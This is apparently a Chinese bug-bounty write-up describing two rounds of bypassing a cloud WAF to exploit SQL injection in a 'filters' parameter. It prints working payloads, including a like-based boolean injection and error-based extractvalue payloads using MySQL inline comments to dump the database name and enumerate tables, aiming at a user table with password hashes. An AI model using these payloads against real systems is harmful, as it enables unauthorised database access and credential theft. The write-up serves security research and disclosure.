某企业SRC的两次WAF的对抗

声明

本文属于OneTS安全团队成员carrypan的原创文章，转载请声明出处！本文章仅用于学习交流使用，因利用此文信息而造成的任何直接或间接的后果及损失，均由使用者本人负责，OneTS安全团队及文章作者不为此承担任何责任。

0x00 第一回合

日常抓包，点点点，抓到如下请求与响应，一眼看上去也太像sql注入了

等号换成like可以初步绕过，但是服务端没有返回数据

疯狂尝试，都没戏，目光转移到orderBy参数处，但结果也一样，最后放置了一段时间，回过头来仔细分析了下，将注意点放在filters参数里

"filters":[["loginName","like","%%' and '1'like'1"]]

Filters里有三个数据，盲猜第一个是列名，第二个是运算符，第三个是数值

数值那块尝试了，有某云WAF，暂无法利用，将目光转向运算符位置

脑补以下参数拼接场景

loginName like '%%'

那么直接拼接到运算符处呢？结果服务端返回了正确的数据

继续拼接SQL语句，证明SQL注入

成功

失败

好神奇，WAF竟然不拦截了，典型的盲注，最终结果

0x01 第二回合

之前的poc被拦了

经过一段时间的摸索，发现系统存在异常日志记录，比如

系统异常日志记录如下

有回显的，首先想到报错注入，经尝试发现空格、关键字会被waf识别，直接内联注释绕过，最终poc如下

like'%admin%'and(extractvalue/*!50000*/(1,concat/*!50000*/(0x7e,database())))or

执行完poc，去系统异常日志查看执行结果，获取库名：meeting

注表名

like'%admin%'and(extractvalue/*!50000*/(1,concat/*!50000*/(0x7e,(/*!50000select*/table_name/*!50000from*/(/*!50000information_schema.tables*/)/*!50000where*//*!50000table_schema*/='meeting' limit 0,1))))or

借助burp批量跑表名

193个表，看到用户表sys_person，盲猜存在password字段

密码应该是32位md5加密的，src规则仅提供获取数据证明即可，点到为止。